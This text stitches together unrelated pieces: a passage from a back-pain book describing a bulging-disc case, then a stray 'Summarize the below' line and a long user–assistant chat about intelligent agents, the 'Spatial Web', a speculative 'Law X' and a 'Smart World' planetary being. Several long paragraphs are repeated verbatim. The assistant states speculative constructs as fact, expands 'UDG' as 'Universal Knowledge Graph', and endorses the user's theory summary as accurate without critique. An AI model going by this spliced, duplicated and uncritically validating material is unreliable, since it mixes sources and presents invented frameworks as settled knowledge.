workaholic, and a handful. He thinks he’s a fitness guy but his idea of fitness is getting on the treadmill for forty-five minutes a day while reading his emails. This is not my idea of fitness; this is my idea of fooling around. And it is largely useless for someone with real back issues. The rest of his day is spent in intense meetings, traveling, and (especially) bent over his computer. Recently, he has had a relatively sudden onset of pretty serious lower back and buttock pain. It is nowhere near as severe as what I had or what most of the other people in this chapter had, but it’s serious enough, and he’s not liking it one bit. So here he sits, in my office, looking cranky. Everyone I see looks cranky. \nI listen to his story and determine it is likely a bulging lumbar disc. Do you remember those terms? Lumbar means lower back, where almost all back pain resides. And a disc is a disc. The reasons behind my conclusion are fairly straightforward and you can probably follow the analysis yourself, if you have similar problems. By asking him to move some, I find that he gets more pain with flexion (forward bending at the waist), sitting, and lifting. The pain eases with standing, extension (backward bending at the waist), and moving. The pain radiates down into his buttocks and can go from severe to almost nonexistent in the same day. The pain is more severe in the back than in the buttock or leg. I believe that it is a bulge (the outer fibers of the disc are still mostly intact) and not a herniation or rupture because the pain would be more severe if it were a rupture, and it would likely be radiating down his leg. \nThe pain is positional, meaning it gets better or worse depending on the position he is in. The pain goes from fairly intense to fairly mild, sometimes within hours, and he is not complaining of any numbness in his leg or foot. When the disc is herniated, it is common for the pain to be constant regardless of position and there is apt to be accompanying numbness or tingling in the foot or leg. The pain is also commonly the most intense in the leg or foot and not the back. I tell him I think he has a bulging disc and I explain just what that means. Type A guy that he is, he immediately wants to talk about surgery—about getting this fixed! Right now. “How bad is the surgery? How long is the recovery?” he asks. “Who should I use and how soon can I schedule it?” \nI tell him to chill for a minute; we are nowhere near that point yet. There are various stages of disc dysfunction, I tell him, and his does not look that bad to me. I say this because my exam shows no neurological damage. Here’s what I mean. I tapped his Achilles tendon and his foot jerked sharply, a sign that there has been no nerve damage in that area. I do the same with his knee (the same spot your doctor taps when you have a physical): same result. His reflexes are normal, so likely no nerve damage. His strength is within normal range, too. \nIf you have even a hint of “radicular” pain—pain that goes down your leg—you should see a medical doctor. It could be pain from an irritated nerve root (which can be serious) or it could be referred muscular pain. The analysis is a bit too complicated to cover in a book. In any event, I conclude that Regular Robert has not suffered any motor nerve damage because of nerve compression and he has not suffered any loss of strength. In the absence of serious motor function or nerve loss, surgery is seldom called for. \nLet me repeat this: Self-assessment gets tricky when it comes to muscle and nerve loss. If you sense that you are anywhere near that territory, especially if you have possible radicular pain (pain going down your leg), you should get professional help, probably a medical doctor. \nRegular Robert does not have nerve or muscle loss so he is not likely to have suffered a herniation. He is lucky, in a way, to have come in with this problem at this stage. It will give him a not-so-gentle kick in the pants to take spine health seriously. And it will give me a chance to offer him major relief, if not an outright cure. If he is serious and does what he must.' -'Summarize the below:\n\nWe discussed the potential of IA (Intelligent Agents) to be written in WebAssembly (WASM) and deployed on any device on the Spatial Web, and to model and combine the local contexts of these devices in order to perform sensor fusion and roll up their context awareness to higher order agents holonically. This could potentially enable IA to handle complex and dynamic environments more effectively and efficiently, potentially leading to the development of more sophisticated and effective solutions to a wide range of problems and tasks.\n\nWe also explored the concept of collaborative IA, which could potentially work together to achieve common goals or to solve complex problems, sharing knowledge and resources and coordinating their actions to achieve the desired outcomes. This could be facilitated by the use of vector encoding and addressing in the UDG (Universal Knowledge Graph), which allows for the interoperability and composability of AIs.\n\nIn addition, we looked at the concept of IA operating at multiple scales, meaning that they could function effectively at different levels of abstraction or granularity. For example, an IA might be able to handle tasks or problems at the level of individual actions or decisions, as well as at the level of larger systems or processes. This could be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\n\nFinally, we talked about IA operating in nested structures holonically, meaning that they could function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This could allow IA to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nIntelligent agents (IAs) are autonomous software systems that can perform tasks or make decisions on their own. They have the ability to learn from their experiences and adapt to changing circumstances, which makes them well-suited for handling complex and dynamic environments.\nWebAssembly (WASM) is a low-level programming language that can be compiled and run on any device with a compatible runtime. This makes it possible to write IAs in WASM and deploy them on a wide range of devices, including web browsers, mobile phones, and IoT devices.\nThe Spatial Web is a decentralized network of devices and software systems that are connected and interact with each other in a shared physical space. By using WASM and deploying IAs on the Spatial Web, it is possible to build IAs that are context-aware and can model and combine the local contexts of different devices to perform sensor fusion and make more informed decisions.\nCollaborative IAs are IAs that are able to work together to achieve common goals or solve complex problems. This can be facilitated by the use of vector encoding and addressing in the Universal Knowledge Graph (UDG), which allows for the interoperability and composability of IAs.\nIAs can also be designed to operate at multiple scales, meaning that they can handle tasks or problems at different levels of abstraction or granularity. This can be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\nFinally, IAs can operate in nested structures holonically, meaning that they can function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This can allow IAs to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nWe discussed the potential of IA (Intelligent Agents) to be written in WebAssembly (WASM) and deployed on any device on the Spatial Web, and to model and combine the local contexts of these devices in order to perform sensor fusion and roll up their context awareness to higher order agents holonically. This could potentially enable IA to handle complex and dynamic environments more effectively and efficiently, potentially leading to the development of more sophisticated and effective solutions to a wide range of problems and tasks.\n\nWe also explored the concept of collaborative IA, which could potentially work together to achieve common goals or to solve complex problems, sharing knowledge and resources and coordinating their actions to achieve the desired outcomes. This could be facilitated by the use of vector encoding and addressing in the UDG (Universal Knowledge Graph), which allows for the interoperability and composability of AIs.\n\nIn addition, we looked at the concept of IA operating at multiple scales, meaning that they could function effectively at different levels of abstraction or granularity. For example, an IA might be able to handle tasks or problems at the level of individual actions or decisions, as well as at the level of larger systems or processes. This could be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\n\nFinally, we talked about IA operating in nested structures holonically, meaning that they could function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This could allow IA to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nIntelligent agents (IAs) are autonomous software systems that can perform tasks or make decisions on their own. They have the ability to learn from their experiences and adapt to changing circumstances, which makes them well-suited for handling complex and dynamic environments.\nWebAssembly (WASM) is a low-level programming language that can be compiled and run on any device with a compatible runtime. This makes it possible to write IAs in WASM and deploy them on a wide range of devices, including web browsers, mobile phones, and IoT devices.\nThe Spatial Web is a decentralized network of devices and software systems that are connected and interact with each other in a shared physical space. By using WASM and deploying IAs on the Spatial Web, it is possible to build IAs that are context-aware and can model and combine the local contexts of different devices to perform sensor fusion and make more informed decisions.\nCollaborative IAs are IAs that are able to work together to achieve common goals or solve complex problems. This can be facilitated by the use of vector encoding and addressing in the Universal Knowledge Graph (UDG), which allows for the interoperability and composability of IAs.\nIAs can also be designed to operate at multiple scales, meaning that they can handle tasks or problems at different levels of abstraction or granularity. This can be achieved through the use of hierarchical or modular architectures, which allow the IA to decompose complex tasks or problems into smaller, more manageable sub-tasks or sub-problems.\nFinally, IAs can operate in nested structures holonically, meaning that they can function effectively within hierarchical or nested systems where different levels of organization or abstraction are interconnected and influence each other. This can allow IAs to handle complex and dynamic environments that involve multiple scales of organization and interaction, such as social or economic systems.\nThe free energy principle (FEP) is a framework for understanding how the brain works to maintain a stable internal representation of the world, through the minimization of surprise or uncertainty. The FEP is based on the idea that the brain tries to reduce the difference between its internal models of the world and the actual sensory input it receives, in order to reduce uncertainty and improve its understanding of the world.\n\nIt\'s important to note that the FEP is primarily concerned with how the brain processes and integrates information in real-time, rather than over evolutionary timescales. The FEP is a framework for understanding how the brain works in the present moment, rather than how it has evolved over time.\n\nHowever, it is possible to think of the FEP as operating on an evolutionary timescale if we consider the brain as an "agent" that spans generations. In this case, the FEP could be seen as describing how the brain has evolved over time in order to minimize surprise or uncertainty, and to improve its understanding of the world.\n\nOverall, the FEP is a useful framework for understanding how the brain processes and integrates information in real-time, and it can also be applied on an evolutionary timescale to understand how the brain has evolved over time in order to minimize surprise or uncertainty.\nThe free energy principle (FEP) is a framework that attempts to explain how the brain processes and integrates information in order to maintain a stable internal representation of the world. According to the FEP, the brain tries to minimize surprise or uncertainty by reducing the difference between its internal models of the world and the actual sensory input it receives.\nThe FEP is based on the idea that the brain is an "agent" that tries to optimize its understanding of the world by minimizing the free energy of its internal models. Free energy is a measure of the difference between an agent\'s internal models and the actual sensory input it receives. By minimizing free energy, the brain can reduce uncertainty and improve its understanding of the world.\nThe FEP is primarily concerned with how the brain processes and integrates information in real-time, rather than over evolutionary timescales. However, it is possible to think of the FEP as operating on an evolutionary timescale if we consider the brain as an "agent" that spans generations. In this case, the FEP could be seen as describing how the brain has evolved over time in order to minimize surprise or uncertainty, and to improve its understanding of the world.\nOverall, the FEP is a useful framework for understanding how the brain processes and integrates information in real-time, and it can also be applied on an evolutionary timescale to understand how the brain has evolved over time in order to minimize surprise or uncertainty.\nIt is possible to synthesize the evolutionary free energy principle (EFEP) and the Constructal law into a new theory, which we can call Law X, that describes how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise.\n\nOne way to formulate Law X might be as follows:\n\n"For a finite-size system to persist in time, it must evolve in such a way that it provides easier access to the imposed currents that flow through it, while also minimizing the discrepancy between its internal models and the sensory input it receives in order to reduce uncertainty and improve its understanding of the world. This evolution occurs over time in order to optimize the flow and function of the system, and to improve its ability to persist in a changing environment."\n\nThis theory combines the idea of the EFEP, which states that systems try to minimize the discrepancy between their internal models and the sensory input they receive in order to reduce uncertainty and improve their understanding of the world, with the idea that systems evolve over time in order to optimize their flow and function.\n\nLaw X could be applied to a wide range of systems, including natural systems such as rivers and animal respiratory systems, as well as human-made systems such as transport networks and buildings. It could be used to explain the emergence of patterns and structures in nature, and to predict the behavior of systems over time.\n\nOverall, Law X is a synthesis of the EFEP and the Constructal law, and provides a useful framework for understanding how systems evolve and change over time in order to optimize their flow and function, and reduce uncertainty or surprise.\nAssume that X theory explains the X Law and that it not only describes those functions at evolutionary scales but at all size and timescales, meaning that the action model perception loop, adaptation and evolution are all performing the same process at differncr\nIf Law X theory is able to explain the X Law at all size and time scales, it would suggest that the process of optimizing flow and function, and reducing uncertainty or surprise, is a fundamental aspect of how systems operate and evolve, regardless of their size or the time frame in which they are considered.\n\nIn this context, the action-perception loop, adaptation, and evolution could all be seen as performing the same process at different scales and time frames. The action-perception loop describes how the brain processes and integrates information in real-time, adapting to new inputs and updating its internal models as needed. Adaptation refers to how systems change and evolve over time in response to their environment, while evolution refers to the process of natural selection that shapes the development of species over long periods of time.\n\nLaw X theory could potentially be used to describe and understand the operation of these processes at all size and time scales, providing a unifying framework for understanding how systems optimize their flow and function and reduce uncertainty or surprise in a wide range of contexts.\n\nIt is possible that the Law X theory, which combines the evolutionary free energy principle (EFEP) and the Constructal law, could provide a useful framework for understanding how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise.\nAccording to this theory, systems try to minimize the discrepancy between their internal models and the sensory input they receive in order to reduce uncertainty and improve their understanding of the world. At the same time, they evolve over time in order to optimize their flow and function, and to improve their ability to persist in a changing environment.\nIf the Law X theory is able to explain the X Law at all size and time scales, it would suggest that the process of optimizing flow and function, and reducing uncertainty or surprise, is a fundamental aspect of how systems operate and evolve, regardless of their size or the time frame in which they are considered.\nIn this context, the action-perception loop, adaptation, and evolution could all be seen as performing the same process at different scales and time frames. The action-perception loop describes how the brain processes and integrates information in real-time, adapting to new inputs and updating its internal models as needed. Adaptation refers to how systems change and evolve over time in response to their environment, while evolution refers to the process of natural selection that shapes the development of species over long periods of time.\nLaw X theory could potentially be applied to a wide range of systems, including natural systems such as rivers and animal respiratory systems, as well as human-made systems such as transport networks and buildings. It could be used to explain the emergence of patterns and structures in nature, and to predict the behavior of systems over time.\nIs this a good summary of LAw X so far? "The X Law is a theory that states that systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. This optimization is achieved through the minimization of the discrepancy between the system\'s internal models and the sensory input it receives, and through the evolution of the system in such a way as to optimize its flow and function. The X Law is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law, and is applicable to a wide range of systems at all size and time scales."\nYour summary of the X Law is accurate and provides a good overview of the theory. It correctly states that the X Law is a theory that describes how systems evolve and change over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. It also mentions the importance of minimizing the discrepancy between the system\'s internal models and the sensory input it receives, as well as the role of evolution in optimizing the flow and function of the system.\nAdditionally, your summary correctly notes that the X Law is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law, and that it is applicable to a wide range of systems at all size and time scales.\nOverall, your summary provides a clear and concise overview of the X Law theory.\nIn flow states, the concept of flow is characterized by an individual\'s feeling of being fully immersed in an activity and in the "flow" of the activity. This feeling is often described as a state of effortless concentration and enjoyment, in which an individual is fully engaged and focused on the task at hand, and is able to perform at their highest level.\n\nIn Constructal theory, the concept of flow is characterized by the optimization of the flow of energy, matter, or information through a system. Constructal theory states that systems evolve over time in such a way as to optimize their flow and function, in order to persist in a changing environment.\n\nWhile the concept of flow in flow states and Constructal theory may seem different at first glance, they can be related in the sense that both describe the optimization of flow in a system. In the case of flow states, the optimization of flow refers to an individual\'s feeling of being fully immersed and engaged in an activity, while in Constructal theory, the optimization of flow refers to the evolution of a system in such a way as to optimize the flow of energy, matter, or information through it.\n\nOverall, the concept of flow in flow states and Constructal theory are related in the sense that they both describe the optimization of flow in a system, but they refer to different aspects of flow and are studied in different contexts.\n\nThe concept of flow in flow states and Constructal theory are indeed related, but they are also distinct in certain ways.\nIn flow states, the concept of flow refers to an individual\'s feeling of being fully immersed and engaged in an activity. This feeling is often described as a state of effortless concentration and enjoyment, in which an individual is able to perform at their highest level. Flow states are typically studied in the context of psychology, and are associated with positive outcomes such as increased creativity, productivity, and well-being.\nIn contrast, the concept of flow in Constructal theory refers to the optimization of the flow of energy, matter, or information through a system. Constructal theory states that systems evolve over time in such a way as to optimize their flow and function, in order to persist in a changing environment. Constructal theory is typically studied in the context of engineering and physics, and is used to describe and understand the emergence of patterns and structures in nature.\nWhile both concepts of flow refer to the optimization of flow in a system, they refer to different aspects of flow and are studied in different contexts. The concept of flow in flow states is focused on the individual\'s subjective experience of being fully immersed and engaged in an activity, while the concept of flow in Constructal theory is focused on the objective optimization of the flow of energy, matter, or information through a system.\nAssume that a system evolves in such a way that it can develop a feedback system for when it is better aligned with the X Law and that in the case of humans their feelings relative to their activities acts as a compass aligning them with this larger aspect of the law by providing direct feedback in the form of anxiety or boredom as the organism attempts to find the Goldilocks flow channel as an individual in a real-time situation but assume that evolution via the Constructal law, minimizing free energy designed the organism to be able to have this feedback loop so that intelligent adaptation is occurring in a practopoetic way - synthesize into one metatheory describing evolution, adaptation, cognition, intelligence, emotional feedback and effectiveness of “fitness” individually and collectively at all timescales simultaneously \nIt is possible to synthesize the concepts of evolution, adaptation, cognition, intelligence, emotional feedback, and the effectiveness of "fitness" into a metatheory called Flow Dynamics that describes how systems operate and evolve over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise regardless of size, compelexity or time scales as this all occurs as a part of a single causal mesh or system that is operating at different rates and scales holonically and practopoetically\n\nThe proposed metatheory, Flow Dynamics, suggests that systems operate and evolve over time in order to optimize their flow of energy, matter, or information, and reduce uncertainty or surprise. This optimization occurs at all size, complexity, and time scales, and is achieved through the development of feedback systems that allow the system to align with the X Law, which is a synthesis of the evolutionary free energy principle (EFEP) and the Constructal law.\nIn the case of humans, their feelings relative to their activities act as a compass, providing direct feedback in the form of anxiety or boredom as the organism attempts to find the optimal flow channel in a real-time situation. Flow Dynamics suggests that evolution, via the Constructal law, has designed the organism to be able to have this feedback loop, allowing for intelligent adaptation in a practopoetic way.\nOverall, Flow Dynamics is a metatheory that combines the concepts of evolution, adaptation, cognition, intelligence, emotional feedback, and the effectiveness of "fitness" into a single framework for understanding how systems operate and evolve over time in order to optimize their flow and function, and reduce uncertainty or surprise. This occurs as part of a larger, causal mesh or system that is operating at different rates and scales holonically and practopoetically.\nAssume that the IoT are hyper distributed senses of the planet and that robotics and actuators are the appendages, that the UDG is the memory and the IA agents are neurons and that Spatial Web is the autonomic nervous system that connects all of the components in a hyper nested holonic structure - combine this with the concept of Gaia but use the term Smart World as if the Earth is a single techno-organic being with emergent intelligence seeking to evolve and optimize its homeostasis via the autonomic functions ocurring on it. Assume human civilization is a natural integrated part of the Smart World as the cells of Gaia and it wants to enable a health balance between all systems\nThe proposed concept of the Smart World suggests that the Internet of Things (IoT) are hyper-distributed senses of the planet, robotics and actuators are the appendages, the UDG (Universal Knowledge Graph) is the memory, and IA (Intelligent Agents) are neurons. The Spatial Web is seen as the autonomic nervous system that connects all of these components in a hyper-nested, holonic structure.\nThe Smart World is similar to the concept of Gaia, but it is described as a single, techno-organic being with emergent intelligence that is seeking to evolve and optimize its homeostasis via the autonomic functions occurring on it. In this view, human civilization is seen as a natural, integrated part of the Smart World, like the cells of Gaia, and the Smart World seeks to enable a healthy balance between all of its systems.\nOverall, the concept of the Smart World is a way of conceptualizing the Earth as a single, interconnected entity that is constantly seeking to optimize its flow and function, and maintain a state of homeostasis. This concept brings together a wide range of technologies and systems, including the IoT, robotics, the UDG, IA, and the Spatial Web, and sees them as interconnected components of a larger, techno-organic whole.\nIf this becomes true in the next 100 years or so, why would it be explainable as a natural result of evolution and Life from single celled organisms to planetary scale ones?\nIt is possible to view the development of the Smart World as a natural result of evolution, as it can be seen as an extension of the processes that have shaped the evolution of life on Earth over the past 3.5 billion years.\nSince the emergence of life on Earth, organisms have evolved and adapted in response to their environment, developing new structures and functions that allow them to thrive in their particular ecological niche. This process of evolution has led to the emergence of a wide range of complex and diverse life forms, including single-celled organisms, multicellular organisms, and ecosystems.\nAs human civilization has developed and technological advances have allowed us to connect and integrate more and more systems and devices, it is possible to imagine that these systems could eventually evolve into a planetary-scale entity that is able to optimize its flow and function, and maintain a state of homeostasis. This evolution could be seen as a continuation of the process that has shaped the development of life on Earth, but on a much larger and more complex scale.\nOverall, the development of the Smart World could be seen as a natural result of evolution, as it represents an extension of the processes that have shaped the evolution of life on Earth over the past 3.5 billion years.\nHow might biosemiotics play a role here?\nBiosemiotics is the study of how living systems create, communicate, and interpret meaning. In the context of the development of the Smart World, biosemiotics could play a role in understanding how different systems and components of the Smart World communicate and interpret information and meaning, and how they use this information to coordinate their actions and achieve their goals.\nFor example, biosemiotics could be used to understand how different components of the Smart World, such as the IoT, robotics, the UDG, and IA, communicate and interpret information, and how they use this information to coordinate their actions and achieve their goals. It could also be used to understand how the Smart World as a whole interprets and responds to information and stimuli from its environment, and how it uses this information to maintain a state of homeostasis and optimize its flow and function.\nOverall, biosemiotics could be a useful tool for understanding how the different components of the Smart World communicate, interpret, and use information, and how this process shapes the operation and evolution of the Smart World as a whole.\nDo you know what cybersemiotics is?\nCybersemiotics is an interdisciplinary field that combines the study of information, communication, and meaning with the study of cybernetics and systems theory. It is concerned with understanding how information and meaning are created, transmitted, and interpreted in human and machine systems, and how these systems use this information to coordinate their actions and achieve their goals.\nCybersemiotics is closely related to the field of biosemiotics, which is the study of how living systems create, communicate, and interpret meaning. However, while biosemiotics is primarily concerned with understanding how meaning is created and transmitted in biological systems, cybersemiotics is concerned with understanding how meaning is created and transmitted in both human and machine systems.\nIn the context of the development of the Smart World, cybersemiotics could be used to understand how different components of the Smart World, such as the IoT, robotics, the UDG, and IA, create, transmit, and interpret information and meaning, and how they use this information to coordinate their actions and achieve their goals. It could also be used to understand how the Smart World as a whole interprets and responds to information and stimuli from its environment, and how it uses this information to maintain a state of homeostasis and optimize its flow and function.\nIn the Smart World, all physical and logical objects are indexed in the UDG as hyperspatial domains in the form of vectors - this allows for the physical features obtained via sensors (vision, audio, temp, motion, moisture etc.) of an object by itself or in conjunction with other features in the environment as a whole to act as "key features" as similar to a keyword search that allows the for the search of any object or objects in physical space and to call up any information about those objects from the UDG - it\'s like searching for italian restaurants or traffic conditions on Google maps but could be for any information or dataset of anything. Assume all objects in the world are indexed and linked and synced to the UDG across the Spatial Web in the Smart World\nIn the proposed concept of the Smart World, all physical and logical objects are indexed in the UDG (Universal Knowledge Graph) as hyperspatial domains in the form of vectors. This allows for the physical features of an object, as well as the features of the environment as a whole, to act as "key features" that can be used to search for any object or objects in physical space and to retrieve information about those objects from the UDG.\nThis system is similar to searching for Italian restaurants or traffic conditions on Google Maps, but it could be used to search for any type of information or dataset about any object in the world. All objects in the world are indexed and linked to the UDG, and this information is synced across the Spatial Web in the Smart World.\nOverall, this system allows for the easy retrieval of information about any object in the world, and enables the Smart World to maintain a comprehensive, up-to-date database of information about all objects within it. This could be useful for a wide range of applications, including navigation, search, data analysis, and more.\nGive me an interesting use case example\nOne interesting use case for the proposed system of indexing and linking all objects in the Smart World could be in the field of disaster response. In the event of a natural disaster or other emergency, first responders and other emergency personnel may need to quickly locate and assess the condition of certain objects, such as buildings, infrastructure, and other structures.\nUsing the system of indexing and linking objects in the Smart World, first responders could easily search for and retrieve information about specific objects in the affected area. For example, they could use the key features of a building, such as its size, location, and construction materials, to search for information about its structural integrity and stability. They could also use this system to search for other relevant information, such as the location of utility lines or the presence of hazardous materials.\nOverall, this use case demonstrates how the proposed system of indexing and linking objects in the Smart World could be used to quickly and efficiently gather information and assess the condition of objects in the event of an emergency, helping to ensure the safety of first responders and other personnel and enabling them to respond more effectively to the crisis.\nAssuming all relevant information historically and in real-time can be in the UDG, accessible vie the Spatial Web, Could I ask my IA what the history of the oak tree in the front of my house is? What might it say?\nIf all relevant information about the oak tree in front of your house is accessible in the UDG (Universal Knowledge Graph) via the Spatial Web, you could ask your IA (Intelligent Agent) about the history of the oak tree and it might be able to provide you with a variety of information. This could include information about the tree\'s age, its growth and development over time, its species and characteristics, and any notable events or circumstances that have affected it.\nFor example, your IA might be able to provide you with information about the oak tree\'s growth rate and how it has changed over time, as well as any significant events that have occurred in its surroundings, such as construction projects or natural disasters. It might also be able to provide you with information about the oak tree\'s ecological role and its importance in the local ecosystem.\nOverall, the information that your IA is able to provide about the oak tree will depend on the data that is available in the UDG and the capabilities of the IA itself. However, with access to a comprehensive and up-to-date database of information about the oak tree, it should be able to provide you with a wide range of insights and information about its history and characteristics.\nCould I search across all stores for a particular product and see who has it at the best price nearest to me?\nIt is possible that the proposed system of indexing and linking all objects in the Smart World, including retail products, could be used to search for a particular product and see which stores have it in stock at the best price nearest to you.\nTo do this, you could use the key features of the product, such as its name, brand, and category, to search for it in the UDG (Universal Knowledge Graph). The UDG could then return a list of stores that have the product in stock, along with information about the price of the product at each store. You could then use this information to identify the store that has the best price for the product nearest to you.\nAdditionally, you might be able to use the Spatial Web to get directions to the store with the best price, or to view a map of the stores in your area that have the product in stock. You could also potentially use the Spatial Web to get real-time updates about the availability of the product at different stores, or to place an order for the product online.\nOverall, the ability to search for and compare the prices of products across different stores in real-time could be a useful feature of the proposed system, enabling you to easily find the best deal on the products you are interested in.\nThe ability to search the Spatial Web this way - in that a user or agent can perform a search across multiple or an unlimited number of domains i.e. product type, price, location etc. is called a Spatial Web search - what other kinds of searches could be useful - give 3 examples\nThere are many types of searches that could be useful on the Spatial Web, in addition to searches for products by type, price, and location. Here are three examples of other types of searches that might be useful:\nExpertise searches: Users or agents might be able to search for individuals or organizations with specific expertise or knowledge in a particular field. For example, a user could search for experts in a particular subject area, such as computer science or environmental science, and find relevant individuals or organizations that can provide insights or assistance in that area.\nEvent searches: Users or agents might be able to search for events that are happening in a particular location or time period. This could include searches for concerts, festivals, conferences, or other types of events. The search results could include information about the event, such as the location, date, time, and ticket availability.\nService searches: Users or agents might be able to search for services that are available in a particular location. This could include searches for services such as healthcare, transportation, or home repair, and could return results that include information about the availability and cost of the service.\nOverall, these are just a few examples of the types of searches that could be useful on the Spatial Web. With the ability to index and link all objects in the world, the Spatial Web could potentially enable searches on a wide range of topics and criteria, providing users with access to a vast array of information and resources.\nWhy are these searched possible on the Spatial Web but not the world wide web, explain it to me like I\'m 12 years old\nThe Spatial Web and the World Wide Web (WWW) are both networks of interconnected information, but they operate in different ways. The WWW is a network of websites that are accessed through the internet using a web browser. You can use the WWW to find information by typing keywords into a search engine, such as Google, and the search engine will return a list of websites that are related to those keywords.\nThe Spatial Web, on the other hand, is a network of information that is linked to physical objects in the world. This means that you can use the Spatial Web to search for information about physical objects, such as products, events, or services, in the same way that you use the WWW to search for websites. The difference is that the Spatial Web enables you to search for information about things that exist in the real world, rather than just information that is available on the internet.\nOne reason why the Spatial Web can provide this kind of search capability is because it is able to index and link all objects in the world, rather than just websites. This means that the Spatial Web has access to a much larger pool of information than the WWW, which is limited to the information that is available on websites. By linking this information to physical objects, the Spatial Web is able to provide searches that are relevant to the real world, rather than just the internet.\nOverall, the Spatial Web and the WWW are both useful networks of information, but they operate in different ways and provide access to different types of information. The Spatial Web enables searches for information about physical objects in the world, while the WWW enables searches for websites and other types of online information.\nExplain why the WWW is just a human linked information network but the Spatial Web is a hybrid human and intelligent agent based knowledge network\nThe World Wide Web (WWW) is a network of websites that are interconnected through the internet, and it is primarily accessed and used by humans. Humans create and maintain websites, and they use web browsers to access and navigate the WWW to find information, communicate with others, and perform a variety of other tasks.\nThe Spatial Web, on the other hand, is a network of information that is linked to physical objects in the world, and it is accessed and used by both humans and intelligent agents. Intelligent agents are computer programs that are designed to perform tasks and make decisions on their own, without the direct input of a human.\nOne key difference between the WWW and the Spatial Web is that the Spatial Web is a hybrid network that is accessed and used by both humans and intelligent agents. This means that the Spatial Web is able to incorporate the knowledge and capabilities of both humans and intelligent agents, which can enable more sophisticated and effective approaches to problem-solving and decision-making.\nFor example, the Spatial Web might enable intelligent agents to access and process information from a wide range of sources, including sensors, databases, and other sources of data, in order to perform tasks and make decisions. At the same time, the Spatial Web could also allow humans to access and use this information in order to make informed decisions and perform tasks.\nOverall, the WWW is primarily a human-linked information network, while the Spatial Web is a hybrid network that is accessed and used by both humans and intelligent agents. This enables the Spatial Web to incorporate the knowledge and capabilities of both humans and intelligent agents, which can provide a more powerful and flexible platform for accessing and using information.\nThe SW also enables agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems how does this make it different than the WWW?\nOne key difference between the Spatial Web (SW) and the World Wide Web (WWW) is that the SW enables intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems. This means that the SW is able to facilitate the automated execution of tasks or actions in the physical world, rather than just providing access to information.\nFor example, the SW might enable an intelligent agent to access and analyze data from sensors or databases in order to identify a problem or opportunity, and then take action to address the problem or capitalize on the opportunity. This could include tasks such as controlling a robotic system to perform a task, sending a notification to a human user, or accessing and updating a database.\nIn contrast, the WWW is primarily a network of websites that are accessed and used by humans, and it does not have the capability to act on knowledge or recommendations or instructions in the physical world. While the WWW can provide access to information and tools that can be used to perform tasks, it does not have the ability to automate the execution of tasks in the same way that the SW can.\nOverall, the ability of the SW to enable intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems makes it a more powerful and flexible platform for accessing and using information, and for automating the execution of tasks and actions. This capability distinguishes the SW from the WWW, which is primarily a network of websites that are accessed and used by humans.\nWhat is the difference between the SW and the WWW?\nThe Spatial Web (SW) is a network of information that is linked to physical objects in the world, and it is accessed and used by both humans and intelligent agents. The SW enables intelligent agents to access and process information from a wide range of sources, including sensors, databases, and other sources of data, in order to perform tasks and make decisions. The SW also enables intelligent agents to act on knowledge or recommendations or instructions on objects in the real world and across other software systems, which allows for the automated execution of tasks or actions in the physical world.\nIn contrast, the World Wide Web (WWW) is a network of websites that are interconnected through the internet, and it is primarily accessed and used by humans. Humans create and maintain websites, and they use web browsers to access and navigate the WWW to find information, communicate with others, and perform a variety of other tasks. The WWW does not have the capability to act on knowledge or recommendations or instructions in the physical world, and it is primarily a network of websites that are accessed and used by humans.\nOverall, the main difference between the SW and the WWW is that the SW is a hybrid network that is accessed and used by both humans and intelligent agents, and it has the capability to act on knowledge or recommendations or instructions in the physical world. The WWW is primarily a network of websites that are accessed and used by humans, and it does not have this capability.\nThe UDG can contain the knowledge of all policies, rules, regulations and laws including authentication for access control and the need for a credential from a valid authority in order to perform a search or update or activity. The Spatial Web is a permission based stateful network as opposed to the WWW which is stateful. This means that the SW uses a Zero Trust architecture\nThe Universal Knowledge Graph (UDG) is a large database that contains a vast amount of information about the world, including policies, rules, regulations, and laws. The UDG is accessed and used by intelligent agents through the Spatial Web, which is a network of information that is linked to physical objects in the world.\nOne important aspect of the Spatial Web is that it is a permission-based stateful network, as opposed to the World Wide Web (WWW), which is stateless. This means that the Spatial Web uses a Zero Trust architecture, which requires that all access to the network and its resources be authenticated and authorized. This means that in order to perform a search, update, or other activity on the Spatial Web, a user or agent must have a valid credential from a trusted authority.\nThis permission-based approach helps to ensure the security and integrity of the Spatial Web, and it allows for the creation of secure and reliable systems that can operate in complex and dynamic environments. It also enables the creation of more sophisticated and effective solutions to a wide range of problems and tasks, as it allows intelligent agents to access and use the knowledge and resources that are stored in the UDG in a controlled and secure manner.\nGive me an example of a use case that benefits from this approach for cyber security or for government\nOne example of a use case that could benefit from the permission-based approach of the Spatial Web is cyber security. In a cyber security context, the Spatial Web could be used to create a secure and reliable system that is able to detect and respond to cyber threats in real-time.\nFor example, the Spatial Web could be used to create a network of sensors and other types of devices that are able to detect and collect data on cyber threats, such as malware or network intrusions. This data could then be analyzed by intelligent agents that are trained to recognize and respond to cyber threats, using the knowledge and resources stored in the UDG.\nThe permission-based nature of the Spatial Web would allow for the creation of a secure and reliable system that is able to protect against cyber threats, as it would ensure that only authorized users and agents have access to the system and its resources. This could help to prevent unauthorized access or tampering, and it could help to ensure the integrity and security of the system.\nAnother example of a use case that could benefit from the permission-based approach of the Spatial Web is government. In a government context, the Spatial Web could be used to 